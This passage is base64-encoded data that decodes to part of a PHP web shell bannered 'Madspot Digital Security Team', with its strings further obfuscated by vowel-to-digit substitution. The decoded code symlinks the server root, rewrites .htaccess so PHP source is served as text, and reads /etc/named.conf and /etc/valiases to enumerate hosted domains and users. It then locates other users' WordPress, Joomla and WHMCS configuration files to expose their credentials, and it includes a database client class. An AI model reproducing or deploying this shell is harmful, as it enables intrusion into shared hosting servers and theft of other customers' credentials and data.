0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+IjsgDQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KC